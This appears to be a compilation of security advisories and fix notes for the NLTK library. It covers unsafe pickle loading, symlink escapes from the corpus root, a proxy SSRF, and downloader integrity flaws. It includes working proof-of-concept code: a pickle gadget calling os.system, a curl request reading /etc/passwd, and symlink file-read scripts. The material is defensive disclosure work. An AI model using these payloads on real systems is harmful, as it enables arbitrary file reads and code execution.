Reproduced (captured) raw open(symlink) reads: 'TOPSECRETOUTSIDEROOT' <- the bypass validatepath(symlink, requiredroot): ValueError -> BLOCKS the escape validatepath(legit in-root): PASSED <- loads normally

Honest residual The global-sandbox fallback (toolbox, namedentity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the system temp dir. Scoping every reader with requiredroot and removing the temp dir from the allowed roots would harden it further (separate advisory / task).

Tests testcorpusreaderpathsec.py — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.

---

Scope caveat validatepath blocks every symlink escape variant (verified) and equals pathsec.open()'s guarantee, but does NOT block hardlinks (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by pathsec.open; needs ONOFOLLOW/openat).

Summary

The current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.

Details

- Vulnerability type: Remote code execution via unsafe deserialization - Affected component: nltk.picklesec.allowlistedpickleload, nltk.tokenize.punkt.punktpickleload, nltk.parse.transitionparser.TransitionParser.parse - Affected versions: Current source v3.10.0-rc2; published 3.9.4 was not the claim target for this bypass. - Patched versions: Not yet patched - Root cause: Module-prefix allowlists include dangerous callables such as nltk.tokenize.repp.ReppTokenizer.execute and numpy.f2py.crackfortran.myeval.

punktpickleload() allowlists both nltk.tokenize.punkt and the whole nltk.tokenize namespace, which exposes ReppTokenizer.execute() and its subprocess.Popen(...) sink during unpickling. TransitionParser.parse() uses allowlistedpickleload(..., allowedmodules=("numpy", "scipy", "sklearn")), which permits numpy.f2py.crackfortran.myeval() and its attacker-controlled eval(...) path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.

PoC

Preconditions - The application loads an attacker-controlled tokenizer or model artifact through these public loaders.

Steps 1. Create a pickle whose REDUCE callable is ReppTokenizer.execute and point its command to a harmless marker-file write. 2. Pass that payload to punktpickleload(BytesIO(payload)) and observe the marker file is created during unpickling. 3. Create a second pickle whose REDUCE callable is numpy.f2py.crackfortran.myeval and load it through TransitionParser.parse(). 4. Observe the second marker file is created before TransitionParser.parse() later fails on the returned object type.

Minimal reproducible excerpt

text {'punktmarker': 'PUNKTRCE', 'transitionparsermarker': 'TPRCE'}

Impact

Any caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.

Remediation

Replace broad module-prefix allowlists with exact (module, qualname) pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as nltk.tokenize or numpy, and keep post-load type validation only as a secondary defense.

Resources

- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571

---

Fix + attack demonstration (verified)

+ tightened callers findclass now, before the allowlists: 1. Rejects any dotted name → closes 4489 with zero legit impact. 2. Denies dangerous modules (os, subprocess, sys, builtins, numpy.f2py, nltk.tokenize.repp, …) even under a broad allowedmodules — a defense-in-depth backstop so a future too-broad allowlist can't silently reopen RCE. 3. builtins denied wholesale; safe primitives (int, str, …) must be named exactly via allowedglobals.

Callers tightened: punkt drops the broad nltk.tokenize (keeps nltk.tokenize.punkt + exact collections.defaultdict/builtins.int); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.

Full pickle-sink audit Every deserialization sink in the tree was reviewed: no raw pickle.load anywhere, and no joblib/numpy/torch/dill/yaml/marshal loaders. data.load + wordnetapp use RestrictedUnpickler (blocks all globals — safe); the remaining pickleload sites (chartparserapp, tbl/demo) load user-selected or self-written files and keep their warning.

Attack demonstration (captured; fork clone) === EXPLOITS blocked === 4489 sklearn.os.system (dotted) -> BLOCKED x99w numpy.f2py.crackfortran.myeval -> BLOCKED x99w nltk.tokenize.repp.execute -> BLOCKED backstop os.system (os allowlisted) -> BLOCKED backstop builtins.eval (exact global)-> BLOCKED === LEGIT loads still work === punkt round-trip via punktpickleload -> OK builtins.int (safe primitive) -> OK

Tests testpickleallowlistsecurity.py — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Summary

Current NLTK source reopens SSRF in proxied environments. pathsec.urlopen() validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.

Details

- Vulnerability type: Server-side request forgery - Affected component: nltk.pathsec.urlopen, nltk.data.load, nltk.downloader.Downloader.index, nltk.downloader.Downloader.download - Affected versions: Current source v3.10.0-rc2; published 3.9.4 was a negative control and did not reproduce. - Patched versions: Not yet patched - Root cause: Proxy-handler inheritance disables SafeHTTPHandler and SafeHTTPSHandler, so the validated hostname no longer matches the actual egress destination.

The hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies ProxyHandler instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via pathsec.urlopen(), nltk.data.load(), Downloader.index(), and Downloader.download().

PoC

Preconditions - The runtime has an HTTP proxy configured and the caller relies on pathsec to keep network fetches SSRF-safe.

Steps 1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload. 2. Configure a proxy that forwards a validated public URL to that internal loopback service. 3. Call pathsec.urlopen() or nltk.data.load() on the public URL and observe the internal response is returned. 4. Instantiate Downloader(serverindexurl=...), call index() and download(), and observe internal-only content is parsed and installed.

Minimal reproducible excerpt

text {'urlopen': 'PROXYTEXTSECRET', 'dataload': 'PROXYTEXTSECRET', 'downloadedfile': 'INTERNALZIPSECRET'}

Impact

Consumers that trust pathsec as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.

Remediation

Preserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across pathsec.urlopen, nltk.data.load, and downloader fetches with a configured proxy.

References

- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226 - https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250

---

Fix + attack demonstration (verified)

NLTK cannot pin the egress through a proxy, so it stops pretending to: under ENFORCE a proxied fetch is refused rather than performed unvalidated. Operators who trust their proxy opt back in with NLTKALLOWPROXIEDURLOPEN=1 or nltk.pathsec.ALLOWPROXIEDFETCH=True; under ENFORCE=False the refusal degrades to a warning. This closes the whole class (environment proxies and explicit ProxyHandler alike), because NLTK declines any fetch whose egress it cannot validate.

Attack demonstration (reproduced; captured output) A loopback HTTP server stands in for the internal target; httpproxy points at it; NLTK is asked for a public IP URL.

Before the fix — the internal secret is exfiltrated through the proxy: validatenetworkurl(public): PASSED BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNALONLYSECRET'

After the fix — five scenarios, isolated subprocesses: | Scenario | Result | |---|---| | proxied (env) + ENFORCE | PermissionError — blocked | | proxied + opt-in | returns secret — escape hatch works | | explicit ProxyHandler (not env) + ENFORCE | PermissionError — blocked (whole class) | | no proxy (direct) | internal IP still refused — pinning intact | | proxied + ENFORCE=False | returns secret + warns |

Tests nltk/test/unit/testpathsec.py: 64 passed. Added an end-to-end regression (testproxiedfetchdoesnotreachinternaltarget) plus testenvproxyfailsclosedunderenforce; the prior testenvproxyskipspinninghandlers (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.

Note The upfront validatenetworkurl() and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickleload() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickleload(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override findclass(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

python def pickleload(file, , context=None, restricted=False): if restricted: return RestrictedUnpickler(file).load() # Safe: blocks all globals return WarningUnpickler(file, context=context).load() # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparserapp.py:816, parse/chartparserapp.py:2273, parse/chartparserapp.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/maliciousmodel.pkl") 3. pickleload() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment - NLTK version: 3.8.1+ (all versions with transitionparser.py) - Python 3.6+ - No special dependencies required

Reproduction

1. Create a malicious pickle file that uses reduce to execute a system command during deserialization.

2. Call TransitionParser().parse([], '/path/to/maliciousmodel.pkl').

3. The pickleload(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override findclass() and permits full class resolution — executing the embedded gadget.

4. Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from: python model = pickleload(f) to: python model = pickleload(f, restricted=True) causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

python import pickle import os from nltk.parse.transitionparser import TransitionParser

Create malicious pickle with RCE payload class Exploit: def reduce(self): return (os.system, ('touch /tmp/nltkpoctriggered',))

with open('/tmp/maliciousmodel.pkl', 'wb') as f: pickle.dump(Exploit(), f)

Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4) parser = TransitionParser('arc-standard') # or 'arc-eager' parser.parse([], '/tmp/maliciousmodel.pkl') # loads and unpickles unsafely

Exploit succeeds: file /tmp/nltkpoctriggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

| File | Line | Before | After | |------|------|--------|-------| | nltk/parse/transitionparser.py | 557 | pickleload(f) | pickleload(f, restricted=True) | | nltk/parse/chartparserapp.py | 816 | pickleload(modeldatafile) | pickleload(modeldatafile, restricted=True) | | nltk/parse/chartparserapp.py | 2273 | pickleload(file) | pickleload(file, restricted=True) | | nltk/parse/chartparserapp.py | 2311 | pickleload(fp) | pickleload(fp, restricted=True) |

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.findclass().

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through gettag():

python def gettag(self, f, tag): tags = [] with open(f) as infile: # builtin open(), no pathsec involvement header = infile.read() ...

f arrives via listheaderfiles() / listmorphfilesby(), both of which call:

python f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.addroot(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validatepath(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

python import os import tempfile

from nltk.corpus.reader.ipipan import IPIPANCorpusReader

root = tempfile.mkdtemp() corpusroot = os.path.join(root, "ipipan") os.makedirs(corpusroot)

with open(os.path.join(corpusroot, "realmorph.xml"), "w") as f: f.write("<channel>legit</channel>")

secretdir = os.path.join(root, "outsideipipanroot") os.makedirs(secretdir) secretpath = os.path.join(secretdir, "stolen.xml") with open(secretpath, "w") as f: f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")

os.symlink(secretpath, os.path.join(corpusroot, "evillink.xml"))

reader = IPIPANCorpusReader(corpusroot, r".\.xml") print("Auto-discovered fileids:", sorted(reader.fileids()))

result = reader.channels(fileids=["evillink.xml"]) print(result)

Actual output when run against current develop:

Auto-discovered fileids: ['evillink.xml', 'realmorph.xml'] ['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secretpath, a file entirely outside corpusroot. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call. - Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool. - Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader. - Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

- AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered. - PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either. - UI:N: fires during routine, automated corpus processing, no separate victim action. - S:U: stays within the same process's existing privileges. - C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route gettag() through nltk.pathsec.validatepath() with the corpus root as requiredroot, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.

NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via framebyname(), lufile(), or doc() methods.

Summary

Published nltk==3.9.4 still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.

Details

- Vulnerability type: Path traversal and trusted-root bypass - Affected component: FramenetCorpusReader.framebyname, FramenetCorpusReader.doc, FramenetCorpusReader.lu, NKJPCorpusReader.header - Affected versions: Published 3.9.4 reproduced. Current source v3.10.0-rc2 acted as a negative control and blocked the same payloads. - Patched versions: Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate. - Root cause: Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.

I confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.

PoC

Preconditions - The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.

Steps 1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root. 2. Feed unsafe selectors or poisoned index state into the relevant public stable 3.9.4 APIs. 3. Observe framebyname, doc, lu(...).exemplars, or header return parsed outside-root values. 4. Run the same payloads against current source and observe explicit path-safety rejections.

Minimal reproducible excerpt

text framenetframedefinition FRAMELEAK framenetdoctext DOCLEAK framenetlutext LULEAK nkjpheadertitle HEADERLEAK

Impact

Applications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.

Remediation

Keep these reader paths on the same root-confinement model as CorpusReader.open() and nltk.pathsec. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.

Resources

- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128

In nltk version 3.9.4, the nltk.downloader.Downloader.downloadpackage() function writes downloaded package bytes to disk and may extract them before enforcing SHA-256 or MD5 checksum validation. This allows an attacker to tamper with the package response body for info.url through a compromised mirror, malicious proxy, or other source-substitution condition, leading to the installation of attacker-controlled package bytes. The vulnerability can result in malicious corpus or model content being trusted by downstream users or applications.

Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", kwargs): validatepath(file, context="pathsec.open") return builtins.open(file, mode=mode, kwargs)

StreamBackedCorpusView.open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

python line 171 — no validatepath() call self.eofpos = os.stat(self.fileid).stsize

line 208 — calls builtins.open directly self.stream = open(self.fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC python pocserver.py — StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, readlineblock

Strict mode enabled — expected to sandbox all file access ps.ENFORCE = True

app = Flask(name)

@app.post("/read") def readfile(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored — builtins.open() called internally view = StreamBackedCorpusView(fname, readlineblock, encoding="utf8") return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000) Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.

Impact - Type: Arbitrary Local File Read / Security Control Bypass - CWE: CWE-22, CWE-284 - OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWSSECRETACCESSKEY, DATABASEURL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validatepath().

Summary

There's a logic bug in FileSystemPathPointer.open() inside nltk/data.py that makes the sandbox check permanently inert. The guard condition is always False — meaning any file the process can read is accessible by passing a file:// URL to nltk.data.load().

---

Details

In nltk/data.py, FileSystemPathPointer.open() was patched at some point with a comment saying "SECURITY PATCH ENFORCING SANDBOX", but the check doesn't work: python def open(self, encoding=None): path = os.path.normpath(self.path)

# Block raw absolute reads such as "/" "C:\\Windows" etc. if os.path.isabs(path) and path != os.path.normpath(self.path): raise ValueError(f"Direct absolute file access blocked: {path}")

stream = open(self.path, "rb")

path is set to os.path.normpath(self.path) on line 1, then compared against os.path.normpath(self.path) again in the condition. They are always equal. The ValueError never fires.

On top of that, init already calls os.path.abspath() before storing self.path, so it's normalized before open() is even called. Running normpath on it again changes nothing.

The stream = open(self.path, "rb") line is always reached regardless of what path was passed in.

---

PoC

Tested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04. python import nltk from nltk.data import FileSystemPathPointer

direct construction ptr = FileSystemPathPointer("/etc/passwd") with ptr.open() as f: print(f.read(300))

via load() using file:// URL data = nltk.data.load("file:///etc/passwd", format="raw") print(data[:300])

Both print file contents. No exception is raised.

---

Impact

Any app that lets users influence the string passed to nltk.data.load() or nltk.data.find() is exposed — web APIs, notebook servers, multi-tenant pipelines. An attacker can read any file the process user has access to: /etc/passwd, .env files, private keys, ~/.aws/credentials, etc.

Suggested Fix

File: nltk/data.py — FileSystemPathPointer.open() (lines 378–390)

What's wrong

Line 387 compares normpath(self.path) against itself — always equal, so the ValueError never fires. The check is dead code. init already calls abspath() on construction, so re-running normpath inside open() changes nothing either.

---

Fix

Validate against the actual list of permitted data directories instead: python def open(self, encoding=None): import nltk.data as d allowed = [os.path.abspath(p) for p in d.path if p] if allowed and not any( os.path.commonpath([self.path, r]) == r for r in allowed ): raise ValueError( f"Access outside nltkdata blocked: {self.path!r}" ) stream = open(self.path, "rb") if encoding is not None: stream = SeekableUnicodeStreamReader(stream, encoding) return stream

---

Why commonpath not startswith

startswith is bypassable by a path that shares a prefix: /tmp/nltkdataevil".startswith("/tmp/nltkdata") → True ✗ commonpath(["/tmp/nltkdataevil", "/tmp/nltkdata"]) → "/tmp" ✓

---

Diff diff - path = os.path.normpath(self.path) - if os.path.isabs(path) and path != os.path.normpath(self.path): - raise ValueError(f"Direct absolute file access blocked: {path}") - + import nltk.data as d + allowed = [os.path.abspath(p) for p in d.path if p] + if allowed and not any( + os.path.commonpath([self.path, r]) == r for r in allowed + ): + raise ValueError(f"Access outside nltkdata blocked: {self.path!r}") stream = open(self.path, "rb")

Summary nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.

Details The vulnerable flow is:

- nltk/corpus/reader/api.py:222 - CorpusReader.open() blocks absolute paths and .., then calls self.root.join(file).open()

- nltk/data.py:398 - FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured root

The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.

Current behavior:

1. CorpusReader.open() rejects: - absolute paths - .. path traversal 2. FileSystemPathPointer.join() computes: - joined = os.path.normpath(os.path.join(self.path, fileid)) - root = os.path.normpath(self.path) 3. It allows the access if joined starts with root

This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.

Example:

text JOINED=/tmp/nltk-root/link/secret.txt REALPATH=/tmp/outside/secret.txt

JOINED still appears to be inside the root, but REALPATH is outside it.

This is distinct from simple ../ traversal:

- the file ID is not absolute - the file ID does not contain .. - the escape only happens after filesystem resolution of a symlink under the allowed root

PoC Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

python import os import tempfile from nltk.corpus.reader.api import CorpusReader

root = tempfile.mkdtemp(prefix="nltk-root-") outsidedir = tempfile.mkdtemp(prefix="nltk-out-") outsidefile = os.path.join(outsidedir, "secret.txt")

with open(outsidefile, "w") as f: f.write("secret-data")

os.symlink(outsidedir, os.path.join(root, "link"))

corpus = CorpusReader(root, ["link/secret.txt"]) with corpus.open("link/secret.txt") as f: print(f.read())

Observed result:

text secret-data

Docker re-test output:

text ROOT=/tmp/nltk-root-jjxay3if OUTSIDEDIR=/tmp/nltk-out-1kef36e0 JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt REALPATH=/tmp/nltk-out-1kef36e0/secret.txt READOK=secret-data INSIDEROOT=True REALINSIDEROOT=False

Additional impact validation using a system file:

text ROOT=/tmp/nltk-root-h5x4m19 JOINED=/tmp/nltk-root-h5x4m19/hostfile REALPATH=/etc/hostname HOSTNAMEREAD=48dafb244af3 INSIDEROOT=True REALINSIDEROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact This is an arbitrary local file read / symlink escape issue.

Who is impacted:

- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents - applications that rely on NLTK corpus readers as a trust boundary for file access - any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

- application secrets stored on disk - local configuration files - private datasets - process-exposed files such as /proc/self/environ - system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.

A vulnerability in nltk.downloader in nltk/nltk versions <= 3.9.4 allows for cross-package resource and model poisoning. The downloader extracts package archives into shared namespaces such as corpora/ and taggers/ instead of package-isolated roots, and validates package integrity only after the archive has been written and extracted. This design flaw enables one package to overwrite another package's trusted resources within the same namespace, making the changes immediately active through ordinary NLTK APIs. This issue persists across fresh interpreter restarts and can affect downstream workflows, including machine learning pipelines and reproducibility-sensitive environments.

A Server-Side Request Forgery (SSRF) vulnerability exists in nltk/nltk versions 3.9.4 and the current develop branch. The nltk.pathsec.validatenetworkurl() function, intended to prevent SSRF by rejecting internal network addresses, fails to reject IPs in the RFC 6598 shared address space (100.64.0.0/10). This occurs because Python's ipaddress module does not classify such addresses as isprivate or isglobal, and the current guard only checks isprivate and a few explicit categories. An attacker who can influence a URL passed to NLTK's network-loading helpers can exploit this vulnerability to make a strict-mode application send requests to shared-address-space hosts, potentially exposing non-public infrastructure reachable from the application host. The impact is limited to SSRF-style confidentiality exposure, with no code execution claimed.